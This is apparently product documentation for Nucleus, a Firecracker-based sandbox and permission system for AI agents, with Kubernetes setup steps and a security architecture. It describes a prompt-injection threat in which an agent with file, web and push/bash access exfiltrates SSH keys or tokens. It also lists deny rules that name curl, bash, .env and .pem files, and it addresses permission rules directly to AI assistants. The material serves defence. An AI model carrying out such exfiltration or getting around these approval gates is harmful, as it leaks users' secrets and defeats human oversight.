App → Sentry (Go) → Host Kernel
         ↓
    Filters ~300 syscalls

Nucleus uses Firecracker with full hardware virtualization:

App → Guest Kernel → Firecracker VMM → KVM → Host Kernel
                          ↓
                   ~50K lines Rust
                   Minimal device model

When to Choose Nucleus

Choose Nucleus when you need:

  • Hardware isolation: Defense against kernel exploits
  • Permission governance: Fine-grained capability control beyond RBAC
  • Compliance: SOC2, HIPAA, NIST frameworks requiring VM-level isolation
  • Prompt injection defense: Automatic uninhabitable state detection

Choose Agent Sandbox when you need:

  • Faster iteration: Lighter weight for development
  • GKE integration: Native warm pools and pod snapshots
  • Higher density: More sandboxes per node

Roadmap: Native CRDs

We’re working on native Kubernetes CRDs to match Agent Sandbox ergonomics:

# Coming soon
apiVersion: nucleus.io/v1
kind: NucleusSandbox
metadata:
  name: my-agent
spec:
  profile: fix-issue
  workDir: /workspace
  image: python:3.12-slim

  # Lattice-guard permissions
  permissions:
    capabilities:
      read_files: always
      run_bash: low_risk
    paths:
      allowed: ["/workspace/**"]
      blocked: ["**/.env", "**/*.pem"]
    budget:
      max_cost_usd: 5.00
---
apiVersion: nucleus.io/v1
kind: NucleusSandboxClaim
metadata:
  name: agent-session
spec:
  templateRef: my-agent
  ttl: 1h

Track progress: GitHub Issues


Next Steps

Agent Sandbox Integration

Run AI agent sandboxes on Kubernetes using Agent Sandbox with Firecracker isolation via Kata Containers.

Overview

Agent Sandbox is a CNCF/Kubernetes SIG Apps project that provides Kubernetes-native primitives for running AI agents in isolated environments. It supports pluggable runtimes via the standard runtimeClassName field.

This guide covers two paths:

PathRuntimeKVM RequiredUse Case
Local (gVisor)runscNoValidate workflow on macOS/Windows
Cloud (kata-fc)FirecrackerYesProduction with hardware VM isolation

Comparison: Agent Sandbox vs Nucleus

FeatureAgent Sandbox + gVisorAgent Sandbox + kata-fcNucleus
IsolationSyscall filterFirecracker VMFirecracker VM
Memory overhead~50MB~130MB~5MB
Startup time<1s~1-2s<125ms
Permission modelPod RBAC onlyPod RBAC onlyLattice-guard
Uninhabitable state detectionNoNoYes
Budget enforcementNoNoYes

Use Agent Sandbox + kata-fc when you need:

  • Standard Kubernetes CRD workflow
  • Firecracker isolation without custom controllers
  • Compatibility with existing k8s tooling (Argo CD, Flux)

Use Nucleus directly when you need:

  • Fine-grained permission policies (portcullis)
  • Automatic uninhabitable state detection (prompt injection defense)
  • Lower memory footprint and faster startup

Local Testing: gVisor on kind (Intel Mac / No KVM)

This path validates the Agent Sandbox workflow without requiring KVM. Useful for development on Intel Macs or any system without nested virtualization.

Prerequisites

  • Docker Desktop running
  • kubectl configured
  • kind installed (brew install kind)

Step 1: Download gVisor Binaries

# Create directory for gVisor binaries
mkdir -p /tmp/gvisor

# Download runsc (gVisor runtime)
curl -sL https://storage.googleapis.com/gvisor/releases/release/latest/x86_64/runsc \
  -o /tmp/gvisor/runsc
chmod +x /tmp/gvisor/runsc

# Download containerd shim
curl -sL https://storage.googleapis.com/gvisor/releases/release/latest/x86_64/containerd-shim-runsc-v1 \
  -o /tmp/gvisor/containerd-shim-runsc-v1
chmod +x /tmp/gvisor/containerd-shim-runsc-v1

Step 2: Create kind Cluster

# Create kind config
cat > /tmp/kind-gvisor.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraMounts:
  - hostPath: /tmp/gvisor
    containerPath: /opt/gvisor
EOF

# Create cluster
kind create cluster --name agent-sandbox-test --config /tmp/kind-gvisor.yaml

Step 3: Install gVisor in kind Node

# Copy binaries into the kind node
docker cp /tmp/gvisor/runsc agent-sandbox-test-control-plane:/usr/local/bin/runsc
docker cp /tmp/gvisor/containerd-shim-runsc-v1 agent-sandbox-test-control-plane:/usr/local/bin/containerd-shim-runsc-v1

# Configure containerd to use gVisor
docker exec agent-sandbox-test-control-plane bash -c '
cat >> /etc/containerd/config.toml << EOF

[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc]
  runtime_type = "io.containerd.runsc.v1"
EOF
'

# Restart containerd
docker exec agent-sandbox-test-control-plane systemctl restart containerd

# Create RuntimeClass
kubectl apply -f - << 'EOF'
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
EOF

Step 4: Install Agent Sandbox

# Install Agent Sandbox CRDs and controller
kubectl apply -f https://github.com/kubernetes-sigs/agent-sandbox/releases/download/v0.1.0/manifest.yaml

# Wait for controller to be ready
kubectl wait --for=condition=Ready pod -l app=agent-sandbox-controller \
  -n agent-sandbox-system --timeout=120s

Step 5: Create Test Sandbox

kubectl apply -f - << 'EOF'
apiVersion: agents.x-k8s.io/v1alpha1
kind: Sandbox
metadata:
  name: gvisor-test
spec:
  podTemplate:
    spec:
      runtimeClassName: gvisor
      containers:
      - name: agent
        image: busybox:latest
        command: ["sleep", "infinity"]
EOF

# Watch for Ready status
kubectl wait --for=condition=Ready sandbox/gvisor-test --timeout=60s

Step 6: Verify gVisor Isolation

# Confirm runtimeClassName
kubectl get pod gvisor-test -o jsonpath='{.spec.runtimeClassName}'
# Output: gvisor

# Verify gVisor kernel (look for "Starting gVisor...")
kubectl exec gvisor-test -- dmesg | head -5
# Output:
# [   0.000000] Starting gVisor...
# [   0.533579] Gathering forks...
# ...

Cleanup

kubectl delete sandbox gvisor-test
kind delete cluster --name agent-sandbox-test

Cloud Testing: Firecracker on KVM Cluster

This path provides hardware VM isolation using Firecracker via Kata Containers.

Prerequisites

  • Kubernetes cluster with KVM-enabled nodes (bare metal or nested virt)
    • GKE: Use n2-standard-* with nested virtualization enabled
    • EKS: Use metal instances (m5.metal, c5.metal)
    • On-prem: Nodes with /dev/kvm accessible
  • kubectl configured
  • Helm 3.x installed

Step 1: Label KVM-Capable Nodes

# Identify nodes with KVM support
for node in $(kubectl get nodes -o name); do
  if kubectl debug $node -it --image=busybox -- test -c /dev/kvm 2>/dev/null; then
    echo "$node has KVM"
    kubectl label $node katacontainers.io/kata-runtime=true --overwrite
  fi
done

Step 2: Install Kata Containers with Firecracker

# Add Kata Containers Helm repo
helm repo add kata-containers https://kata-containers.github.io/kata-containers
helm repo update

# Install Kata with Firecracker hypervisor
helm install kata-fc kata-containers/kata-deploy \
  --namespace kata-system --create-namespace \
  --set hypervisor=fc \
  --set runtimeClasses[0].name=kata-fc \
  --set runtimeClasses[0].handler=kata-fc

# Wait for DaemonSet rollout
kubectl rollout status daemonset/kata-deploy -n kata-system --timeout=300s

# Verify RuntimeClass exists
kubectl get runtimeclass kata-fc

Step 3: Install Agent Sandbox

# Install Agent Sandbox CRDs and controller
kubectl apply -f https://github.com/kubernetes-sigs/agent-sandbox/releases/download/v0.1.0/manifest.yaml

# Wait for controller
kubectl wait --for=condition=Ready pod -l app=agent-sandbox-controller \
  -n agent-sandbox-system --timeout=120s

Step 4: Create Firecracker-Isolated Sandbox

kubectl apply -f - << 'EOF'
apiVersion: agents.x-k8s.io/v1alpha1
kind: Sandbox
metadata:
  name: firecracker-test
spec:
  podTemplate:
    spec:
      runtimeClassName: kata-fc
      containers:
      - name: agent
        image: python:3.12-slim
        command: ["sleep", "infinity"]
        resources:
          requests:
            memory: "256Mi"
            cpu: "100m"
          limits:
            memory: "512Mi"
            cpu: "500m"
EOF

# Wait for Ready
kubectl wait --for=condition=Ready sandbox/firecracker-test --timeout=120s

Step 5: Verify Firecracker Isolation

# Confirm kata-fc runtime
kubectl get pod firecracker-test -o jsonpath='{.spec.runtimeClassName}'
# Output: kata-fc

# Check for VM indicators in /proc/cpuinfo
kubectl exec firecracker-test -- cat /proc/cpuinfo | grep -E "(model name|hypervisor)"
# Should show hypervisor or QEMU-style CPU

# Verify Firecracker process on host (from node)
NODE=$(kubectl get pod firecracker-test -o jsonpath='{.spec.nodeName}')
kubectl debug node/$NODE -it --image=busybox -- ps aux | grep firecracker

Agent Sandbox CRD Reference

Sandbox

The core resource for creating isolated agent environments.

apiVersion: agents.x-k8s.io/v1alpha1
kind: Sandbox
metadata:
  name: my-agent
spec:
  # Standard PodSpec template
  podTemplate:
    spec:
      runtimeClassName: kata-fc  # or gvisor
      containers:
      - name: agent
        image: my-agent:latest
        command: ["python", "agent.py"]
        env:
        - name: OPENAI_API_KEY
          valueFrom:
            secretKeyRef:
              name: agent-secrets
              key: openai-key
        resources:
          requests:
            memory: "512Mi"
            cpu: "250m"
          limits:
            memory: "2Gi"
            cpu: "2"

  # Persistent storage (survives restarts)
  volumeClaimTemplates:
  - metadata:
      name: workspace
    spec:
      accessModes: ["ReadWriteOnce"]
      resources:
        requests:
          storage: 10Gi

  # Lifecycle management
  shutdownPolicy: Delete  # or Retain

SandboxTemplate (Extensions)

Reusable templates for common agent configurations.

# Install extensions
kubectl apply -f https://github.com/kubernetes-sigs/agent-sandbox/releases/download/v0.1.0/extensions.yaml
apiVersion: agents.x-k8s.io/v1alpha1
kind: SandboxTemplate
metadata:
  name: python-agent
spec:
  podTemplate:
    spec:
      runtimeClassName: kata-fc
      containers:
      - name: agent
        image: python:3.12-slim
        resources:
          requests:
            memory: "512Mi"
          limits:
            memory: "2Gi"

SandboxClaim

Request a sandbox from a template.

apiVersion: agents.x-k8s.io/v1alpha1
kind: SandboxClaim
metadata:
  name: my-session
spec:
  templateRef:
    name: python-agent
  ttl: 1h

Troubleshooting

Pod stuck in ContainerCreating

gVisor: Check for missing shim binary.

kubectl describe pod <pod-name> | grep -A5 Events
# Look for: "containerd-shim-runsc-v1": file does not exist

Fix: Ensure both runsc and containerd-shim-runsc-v1 are in /usr/local/bin/.

kata-fc: Check for KVM access.

kubectl debug node/<node> -it --image=busybox -- ls -la /dev/kvm
# Should show: crw-rw---- 1 root kvm 10, 232 ...

Sandbox stuck in Pending

Check if the controller is running:

kubectl get pods -n agent-sandbox-system
kubectl logs -n agent-sandbox-system -l app=agent-sandbox-controller

RuntimeClass not found

Verify the RuntimeClass exists:

kubectl get runtimeclass

For gVisor, create manually:

kubectl apply -f - << 'EOF'
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
EOF

Next Steps

References

Nucleus Permissions Guide

TL;DR for AI Assistants

You have a permission profile. Check it before acting.

- "Never" = blocked, don't try
- "LowRisk" = allowed for safe operations
- "Always" = always allowed

If you have read_files + web access + git push all enabled,
exfiltration actions (git push, create PR, bash) require human approval.
This is the "uninhabitable state protection" - it prevents prompt injection attacks
from stealing secrets.

The Problem: Uninhabitable State

When an AI agent has all three of these capabilities at autonomous levels:

CapabilityExampleRisk
Private data accessReading files, credentialsSees secrets
Untrusted contentWeb search, fetching URLsPrompt injection vector
External communicationGit push, create PR, bashExfiltration channel

…a single prompt injection can exfiltrate your SSH keys, API tokens, or source code.

Nucleus automatically detects this combination and requires human approval for exfiltration actions.


Permission Levels

Each tool capability has one of three levels:

Never     →  Blocked entirely
    ↓
LowRisk   →  Auto-approved for safe operations
    ↓
Always    →  Always auto-approved

Example

capabilities:
  read_files: always      # Can always read files
  write_files: low_risk   # Can write to safe locations
  run_bash: never         # Cannot run shell commands
  web_fetch: low_risk     # Can fetch approved URLs
  git_push: low_risk      # Can push (but may need approval)

Built-in Profiles

filesystem-readonly

Read-only with sensitive paths blocked.

read_files: always    web_search: never     git_push: never
write_files: never    web_fetch: never      create_pr: never
edit_files: never     git_commit: never     run_bash: never

read-only

Safe for exploration. No writes, no network, no git.

read_files: always    web_search: never     git_push: never
write_files: never    web_fetch: never      create_pr: never
edit_files: never     git_commit: never

network-only

Web-only access, no filesystem or execution.

read_files: never     web_search: low_risk  git_push: never
write_files: never    web_fetch: low_risk   create_pr: never
edit_files: never     git_commit: never     run_bash: never

web-research

Read + web search/fetch, no writes or exec.

read_files: low_risk  web_search: low_risk  git_push: never
write_files: never    web_fetch: low_risk   create_pr: never
edit_files: never     git_commit: never     run_bash: never

code-review

Read code, search web for context, but no modifications.

read_files: always    web_search: low_risk  git_push: never
write_files: never    web_fetch: never      create_pr: never
edit_files: never     git_commit: never

edit-only

Write + edit without shell or web.

read_files: always    web_search: never     git_push: never
write_files: low_risk web_fetch: never      create_pr: never
edit_files: low_risk  git_commit: never     run_bash: never

local-dev

Local development workflow without web access.

read_files: always    web_search: never     git_push: never
write_files: low_risk web_fetch: never      create_pr: never
edit_files: low_risk  git_commit: low_risk  run_bash: low_risk

fix-issue

Full development workflow with uninhabitable state protection.

read_files: always    web_search: low_risk  git_push: low_risk*
write_files: low_risk web_fetch: low_risk   create_pr: low_risk*
edit_files: low_risk  git_commit: low_risk
run_bash: low_risk

* Requires approval due to uninhabitable state detection

release

Release/publish workflow with approvals on exfiltration.

read_files: always    web_search: low_risk  git_push: low_risk*
write_files: low_risk web_fetch: low_risk   create_pr: low_risk*
edit_files: low_risk  git_commit: low_risk  run_bash: low_risk

* Requires approval

database-client

Database CLI access only (psql/mysql/redis).

read_files: never     web_search: never     git_push: never
write_files: never    web_fetch: never      create_pr: never
edit_files: never     git_commit: never     run_bash: low_risk

demo

For live demos - blocks shell interpreters.

read_files: always    web_search: low_risk  git_push: low_risk
write_files: low_risk web_fetch: low_risk   create_pr: low_risk
edit_files: low_risk  git_commit: low_risk
run_bash: low_risk    (blocked: python, node, bash, etc.)

Workflow Profiles (Orchestrated Agents)

These profiles are designed for multi-agent workflows where different agents have specialized roles. They’re optimized for security through architectural constraints.

pr-review (alias: pr_review)

For automated PR review agents. Read-only + web access, no exfiltration.

read_files: always    web_search: low_risk  git_push: never
write_files: never    web_fetch: low_risk   create_pr: never
edit_files: never     git_commit: never     run_bash: never

** Uninhabitable state status**: NOT vulnerable (no exfiltration capability)

Use case: Review PRs, post comments via GitHub API, analyze diffs. Note: run_bash is disabled because it’s an exfil vector when combined with web access.

codegen

For isolated code generation agents. Full dev capabilities, NO network access.

read_files: always    web_search: never     git_push: never
write_files: low_risk web_fetch: never      create_pr: never
edit_files: low_risk  git_commit: low_risk  run_bash: low_risk

** Uninhabitable state status**: NOT vulnerable (no untrusted content exposure)

Use case: Implement features in a Firecracker microVM, run tests, commit locally. Network isolation prevents prompt injection attacks from web content.

pr-approve (alias: pr_approve)

For automated PR approval agents. Can merge PRs after CI verification.

read_files: always    web_search: low_risk  git_push: low_risk*
write_files: never    web_fetch: low_risk   create_pr: never
edit_files: never     git_commit: never     run_bash: low_risk*

* Requires approval (uninhabitable state-gated)

** Uninhabitable state status**: VULNERABLE → git_push and run_bash require approval

Use case: Verify CI status via GitHub API, then merge approved PRs. The uninhabitable state protection means git_push is gated on human/CI approval.


Uninhabitable state Detection

When nucleus detects the uninhabitable state, it automatically adds approval obligations to exfiltration vectors:

Your permissions:
  read_files: always     ← Private data access ✓
  web_fetch: low_risk    ← Untrusted content ✓
  git_push: low_risk     ← Exfiltration vector ✓

 Uninhabitable state detected! Adding approval requirement:
  git_push: requires approval
  create_pr: requires approval
  run_bash: requires approval

This happens automatically. You don’t configure it. You can’t disable it (even via malicious JSON payloads - the constraint is enforced on deserialization).


For AI Assistants: How to Check Permissions

Before Taking Action

# Pseudocode for AI tool execution
if action.type == "git_push":
    if permissions.requires_approval("git_push"):
        return "I need approval to push. Shall I proceed?"
    else:
        execute(action)

Understanding Your Profile

When you receive a permission profile, check:

  1. What level is each capability?

    • never = don’t attempt
    • low_risk = safe operations okay
    • always = go ahead
  2. Is uninhabitable state active?

    • If read_files >= low_risk AND web_* >= low_risk AND git_push >= low_risk
    • Then git_push, create_pr, run_bash need approval
  3. Check path restrictions

    • allowed_paths: only these directories
    • blocked_paths: never touch these (e.g., **/.env, **/*.pem)
  4. Check budget

    • max_cost_usd: spending limit
    • max_tokens: token limits
  5. Check time

    • valid_until: when permissions expire

Path Restrictions

paths:
  allowed:
    - "/workspace/**"           # Only workspace
    - "/home/user/project/**"   # Or specific project
  blocked:
    - "**/.env"                 # No .env files
    - "**/.env.*"               # No .env.local, etc.
    - "**/secrets.*"            # No secrets files
    - "**/*.pem"                # No private keys
    - "**/*.key"                # No key files

Command Restrictions

commands:
  blocked:
    - program: "bash"           # No bash
      args: ["*"]
    - program: "python"         # No python interpreter
      args: ["*"]
    - program: "curl"           # No curl to arbitrary URLs
      args: ["*"]
  allowed:
    - program: "git"            # Git is okay
      args: ["status", "*"]
    - program: "cargo"          # Cargo is okay
      args: ["build", "*"]

Budget Limits

budget:
  max_cost_usd: 5.00           # $5 spending cap
  max_input_tokens: 100000     # 100k input tokens
  max_output_tokens: 10000     # 10k output tokens

Time Limits

time:
  valid_from: "2024-01-01T00:00:00Z"
  valid_until: "2024-01-01T01:00:00Z"  # 1 hour session

Delegation (Sub-agents)

When delegating to a sub-agent, permissions can only go down, never up:

Parent: read_files=always, write_files=low_risk
Child request: write_files=always

Result: write_files=low_risk (capped at parent level)

This is enforced mathematically via lattice meet operation.


Quick Reference Card

┌─────────────────────────────────────────────────────────────┐
│                    PERMISSION LEVELS                        │
├─────────────────────────────────────────────────────────────┤
│  never     Blocked. Don't attempt.                          │
│  low_risk  Allowed for safe operations.                     │
│  always    Always allowed.                                  │
├─────────────────────────────────────────────────────────────┤
│                    uninhabitable state RULE                            │
├─────────────────────────────────────────────────────────────┤
│  IF   read_files ≥ low_risk                                 │
│  AND  (web_fetch OR web_search) ≥ low_risk                  │
│  AND  (git_push OR create_pr OR run_bash) ≥ low_risk        │
│  THEN exfiltration actions require approval                 │
├─────────────────────────────────────────────────────────────┤
│                    BUILT-IN PROFILES                        │
├─────────────────────────────────────────────────────────────┤
│  filesystem-readonly  Read + search; blocks sensitive paths │
│  read-only            Explore only, no writes               │
│  network-only         Web-only access                       │
│  web-research         Read + web search/fetch               │
│  code-review          Read + web search, no modifications   │
│  edit-only            Write/edit, no exec or web            │
│  local-dev            Write + shell, no web                 │
│  fix-issue            Full dev workflow, uninhabitable state protected │
│  release              Push/PR with approvals                │
│  database-client      DB CLI only                           │
│  demo                 For demos, blocks interpreters        │
│  permissive           Everything allowed (trusted only)     │
│  restrictive          Minimal permissions                   │
├─────────────────────────────────────────────────────────────┤
│                   WORKFLOW PROFILES                         │
├─────────────────────────────────────────────────────────────┤
│  pr-review            Read + web, NO exfil (safe)           │
│  codegen              Write + bash, NO network (isolated)   │
│  pr-approve           Read + web + push (CI-gated approval) │
└─────────────────────────────────────────────────────────────┘

Architecture Overview (25k plan)

Goals

  • Enforce all side effects via a policy-aware proxy inside a Firecracker VM (Firecracker driver).
  • Treat permission state as a static envelope around a dynamic agent.
  • Default network egress to deny; explicit allowlists only (host netns iptables + guest defense).
  • The node provisions a per-pod netns, tap interface, and guest IP; guest init configures eth0 from kernel args.
  • Netns setup enables bridge netfilter (br_netfilter) so iptables can enforce guest egress.
  • Approvals require signed tokens issued by an authority (HMAC today; external authority roadmap).
  • Provide verifiable audit logs for every operation (signed + verified).

Trust Boundaries

Agent / Tool Adapter
  |  (signed HTTP)
  v
Host Control Plane (nucleus-node + signed proxy)
  |  (vsock bridge, no guest TCP)
  v
Firecracker VM (nucleus-tool-proxy + enforcement runtime)
  |  (cap-std, Executor)
  v
Side effects (filesystem/commands)

Boundary 1: Agent -> Control Plane

  • Requests are signed (HMAC today; asymmetric is roadmap).
  • Control plane forwards only to the VM proxy.

Boundary 2: Control Plane -> VM

  • Use vsock only by default; guest NIC requires an explicit network policy and host enforcement.
  • Host enforcement uses nsenter + iptables inside the Firecracker netns (Linux only).
  • By default the guest sees only proxy traffic; optional network egress is allowlisted.

Boundary 3: VM -> Host

  • No host filesystem access except mounted scratch.
  • Rootfs is read-only; scratch is per-pod and limited.

Components

nucleus-node (host)

  • Pod lifecycle (Firecracker + resources).
  • Starts vsock bridge to the proxy.
  • Applies cgroups/seccomp to the VMM process.
  • Starts a signed proxy on 127.0.0.1.

approval authority (host, separate process, roadmap)

  • Issues signed approval bundles (roadmap).
  • Logs approvals with signatures.
  • Enforces replay protection and expiration.

nucleus-tool-proxy (guest)

  • Enforces permissions (Sandbox + Executor).
  • Requires approvals for gated ops (counter-based today; signed requests required; bundles are roadmap).
  • Writes signed audit log entries (verifiable with nucleus-audit).
  • Guest init (Rust) configures networking from kernel args and then execs the proxy.
  • Guest init emits a boot report into the audit log on startup.

policy model (shared)

  • Capability lattice + obligations.
  • Normalization (nu) enforces uninhabitable state constraints.

Data Flows

Tool call

  1. Adapter signs request (if enabled).
  2. Signed proxy injects auth headers (if enabled).
  3. Proxy enforces policy and executes side effect.
  4. Audit log records action (and optional signature).

Approval

  1. Agent requests approval.
  2. Proxy records approval count for the operation.
  3. Approval count is consumed for gated ops.

Non-goals (initial)

  • Multi-tenant scheduling across hosts.
  • Full UI control plane.
  • Zero-knowledge attestation.

Progress Snapshot (Current)

Working today

  • Enforced CLI path via nucleus-node (Firecracker) + MCP + nucleus-tool-proxy (read/write/run).
  • Runtime gating for approvals, budgets, and time windows.
  • Firecracker driver with default‑deny egress in a dedicated netns (Linux).
  • Immutable network policy drift detection (fail‑closed on iptables changes).
  • DNS allowlisting with pinned hostname resolution (dnsmasq in netns, Linux).
  • Audit logs are hash‑chained, signed, and verifiable (nucleus-audit).

Partial / in progress

  • Web/search tools not yet wired in enforced mode.
  • Approvals are runtime tokens; signed approvals are required. Preflight bundles are planned.
  • Kani proofs exist; nightly job runs, merge gating and formal proofs are planned.

Not yet

  • Remote append‑only audit storage / immutability proofs.

Invariants (current + intended)

  • Side effects should only happen inside nucleus-tool-proxy (host should not perform side effects).
  • Firecracker driver should only expose the signed proxy address to adapters.
  • Guest rootfs is read-only and scratch is writable when configured in the image/spec.
  • Network egress is denied by default for Firecracker pods when --firecracker-netns=true; if no network policy is provided, the guest has no NIC and iptables still default-denies.
  • Monotone security posture: permissions and isolation guarantees should only tighten (or the pod is terminated), never silently relax after creation.
    • Seccomp is fixed at Firecracker spawn.
    • Network policy is applied once and verified for drift (fail‑closed monitor).
    • Permission states are normalized via ν and only tightened after creation.

Security Architecture

Nucleus is built with security as a foundational principle, not an afterthought. This document describes the security guarantees, defense-in-depth layers, and compliance positioning.

Executive Summary

Nucleus provides:

  • Memory-safe runtime (100% Rust) eliminating ~70% of security vulnerabilities
  • Cryptographic workload identity (SPIFFE/mTLS) instead of shared secrets
  • Enforced permission boundaries (not advisory configuration)
  • Defense-in-depth with multiple independent security layers

Regulatory alignment:

  • CISA Secure by Design mandate (memory-safety roadmaps required by Jan 2026)
  • NSA/CISA guidance on memory-safe programming languages
  • White House directive on memory-safe code in critical infrastructure

Memory Safety: The Foundation

Why Rust Matters

According to Microsoft, Google, and NSA research, approximately 70% of security vulnerabilities are memory safety issues:

  • Buffer overflows
  • Use-after-free
  • Null pointer dereferences
  • Double frees
  • Data races

Rust eliminates these vulnerability classes at compile time through its ownership system. Every line of Nucleus is written in Rust with no unsafe escape hatches in security-critical paths.

CISA Alignment

The Cybersecurity and Infrastructure Security Agency (CISA) now requires:

  • Memory-safety roadmaps from critical infrastructure software providers (deadline: January 1, 2026)
  • Adoption of memory-safe languages for new development
  • Elimination of memory-unsafe code in security-critical components

Nucleus is memory-safe by default, requiring no roadmap transition.


Identity: SPIFFE/mTLS

No Shared Secrets

Traditional approaches use shared secrets (API keys, tokens) that can be:

  • Leaked in logs
  • Stolen from environment variables
  • Intercepted in transit
  • Replayed by attackers

Nucleus uses SPIFFE workload identity:

spiffe://trust-domain/ns/namespace/sa/service-account

Every workload receives a cryptographic identity (X.509 SVID) that:

  • Cannot be forged without CA compromise
  • Is bound to the workload, not a human-managed secret
  • Enables mutual TLS (mTLS) for all service communication
  • Supports automatic rotation without service disruption

mTLS Everywhere

All communication between Nucleus components uses mutual TLS:

  • Client authenticates to server
  • Server authenticates to client
  • Traffic is encrypted
  • No party can impersonate another
┌─────────────────┐     mTLS      ┌─────────────────┐
│   Orchestrator  │──────────────>│   Tool Proxy    │
│                 │<──────────────│                 │
│ Client SVID     │               │ Server SVID     │
└─────────────────┘               └─────────────────┘
        │                                 │
        └───── Same Trust Domain ─────────┘
              (CA validates both)

Isolation: Defense in Depth

Nucleus implements multiple independent security layers:

Layer 1: Firecracker MicroVMs

Each agent task runs in a dedicated Firecracker microVM:

  • Separate kernel instance
  • Isolated memory space
  • No shared filesystem (except explicit mounts)
  • Hardware-enforced separation

Layer 2: Network Namespace Isolation

Each pod gets its own network namespace:

  • Default-deny egress
  • Explicit DNS allowlisting
  • iptables policy with drift detection (fail-closed)
  • No access to host network

Layer 3: Capability-Based Filesystem

File access uses cap-std for capability-based security:

  • No ambient authority
  • Must explicitly open files through capability handles
  • Path traversal attacks blocked at syscall level

Layer 4: Policy Enforcement (portcullis)

The permission lattice provides mathematical guarantees:

  • Capabilities can only tighten through composition
  • Dangerous combinations (uninhabitable state) trigger additional gates
  • No silent policy relaxation

Layer 5: Environment Isolation

Spawned processes receive only explicitly allowed environment variables:

  • Parent environment is cleared (env_clear())
  • Only allowlisted variables are passed
  • Prevents secret leakage from orchestrator to sandbox

The Uninhabitable State

Nucleus specifically guards against the uninhabitable state:

Private Data    +    Untrusted Content    +    Exfiltration Vector
    │                      │                         │
    ▼                      ▼                         ▼
read_files              web_fetch                 git_push
glob_search             web_search                create_pr
grep_search                                       run_bash (curl)

When all three are present at autonomous levels, Nucleus:

  1. Detects the dangerous combination
  2. Adds approval obligations to exfiltration operations
  3. Requires human-in-the-loop confirmation

This prevents prompt injection attacks from silently exfiltrating sensitive data.


Input Validation

All external inputs are validated at API boundaries:

Length Limits

Input TypeMaximum LengthRationale
Glob/Regex patterns1,024 bytesPrevent ReDoS
Search queries512 bytesPrevent resource exhaustion
File paths4,096 bytesMatch filesystem limits
Command arguments16,384 bytes totalPrevent shell injection
stdin content1 MBPrevent memory exhaustion
URLs2,048 bytesMatch browser limits

ReDoS Protection

Regular expression patterns are scanned for catastrophic backtracking:

  • Nested quantifiers: (a+)+
  • Overlapping alternation: (a|a)+
  • Excessive repetition: a{1000,}

Dangerous patterns are rejected before execution.

Path Validation

All paths are:

  • Canonicalized to resolve symlinks and ..
  • Checked against sandbox boundaries
  • Validated against allowlist/blocklist patterns

Audit Logging

Every operation is logged with:

  • Timestamp (monotonic + wall clock)
  • Request ID (correlation)
  • Operation type and parameters
  • Outcome (success, denied, error)
  • Principal identity (SPIFFE ID)
  • Audit context (additional metadata)

What Gets Logged

Event TypeDetails
Successful operationsOperation, subject, result
Policy denialsReason, attempted operation
Validation failuresField, error
Authentication failuresReason, attempted identity
System errorsError code, context

Hash-Chained Integrity

Audit logs are hash-chained using SHA-256:

  • Each entry includes hash of previous entry
  • Tampering is detectable
  • Gaps are detectable
  • Verified with nucleus-audit

Error Handling

Error messages are sanitized before returning to clients:

InternalSanitized
/var/sandbox/abc123/secrets/token.txt[sandbox]/secrets/token.txt
/home/user/.config/credentials[home]/.config/credentials
/etc/passwd[path]

This prevents information disclosure that could aid attackers in understanding internal structure.


Approval System

Security-sensitive operations require explicit approval:

Approval Flow

  1. Operation triggers approval requirement
  2. Approval request generated with nonce
  3. Human reviews and approves/denies
  4. Approval token issued (HMAC-signed)
  5. Token validated before operation proceeds
  6. Token is single-use (nonce replay protection)

Token Security

  • HMAC-SHA256 signed
  • Bound to specific operation
  • Time-limited expiry
  • Nonce prevents replay
  • Cannot be forged without secret

Budget Enforcement

Resource usage is tracked and limited:

Cost Model

OperationCost Basis
Command executionBase + per-second
File I/OPer KB read/written
Network requestsPer request
Search operationsPer result/match

Enforcement

  • Budget is checked before operation starts
  • Reservation model prevents races
  • Atomic tracking for concurrent access
  • Operations fail cleanly when budget exhausted

Compliance Positioning

CISA Secure by Design

RequirementNucleus Status
Memory-safe languageRust (100%)
Memory-safety roadmapNot needed (already compliant)
Input validationComprehensive
Secure defaultsYes

SOC 2 Alignment

ControlImplementation
Access controlSPIFFE/mTLS, capability-based
Audit loggingHash-chained, comprehensive
Change managementPolicy as code
Incident responseFail-closed, drift detection

OWASP Top 10

VulnerabilityMitigation
InjectionInput validation, parameterized commands
Broken authmTLS, no shared secrets
Sensitive data exposureEnvironment isolation, error sanitization
XXENo XML parsing in critical paths
Broken access controlCapability-based, enforced policy
Security misconfigurationSecure defaults, drift detection
XSSNot applicable (no web UI)
Insecure deserializationSerde with strict schemas
Using vulnerable componentscargo-deny, security audits
Insufficient loggingComprehensive audit trail

Security Testing

Automated

  • cargo-deny: License and vulnerability scanning
  • cargo-audit: CVE database checks
  • Property tests: Lattice laws, ν properties
  • Adversarial tests: Path traversal, command injection
  • mTLS tests: Certificate validation, trust boundaries

Planned

  • Fuzzing: Command parsing, path normalization, policy deserialization
  • Formal verification: Core lattice properties (Kani proofs)

Non-Goals

Nucleus does not protect against:

ThreatReason
Host kernel compromiseEnforcement stack must be trusted
Side-channel attacksRequires hardware mitigations
Malicious human approvalsSocial engineering is out of scope
VM escapeFirecracker hardening is assumed

References

Isolation Levels and Security Model

This document describes nucleus’s isolation architecture, driver options, and security tradeoffs for different deployment scenarios.

Isolation Hierarchy

Nucleus supports multiple isolation levels depending on the deployment environment:

LevelDriverIsolationBoot TimeNetwork ControlUse Case
4firecrackerHardware VM (KVM)~125msPer-pod iptablesProduction, untrusted code
3lima (planned)Full VM (QEMU/vz)~2-20sVM-levelDevelopment, macOS
2gvisor (planned)Syscall filtering~msgVisor stackSemi-trusted workloads
1localProcess only~msNoneTrusted code, testing

Driver Security Properties

Security boundaries:

  • Separate Linux kernel per pod (hardware-enforced via KVM)
  • Minimal attack surface (~5 virtio devices)
  • Read-only rootfs with scratch-only writes
  • Per-pod network namespace with iptables enforcement
  • Seccomp filtering on VMM process

Network isolation:

  • Default-deny egress (no NIC unless spec.network specified)
  • DNS allowlisting with pinned resolution
  • Iptables drift detection (fail-closed on policy changes)
  • No shared host interfaces (per-pod tap device)

Requirements:

  • Linux host with /dev/kvm
  • Apple Silicon M3/M4 + macOS 15+ (via Lima nested virtualization)
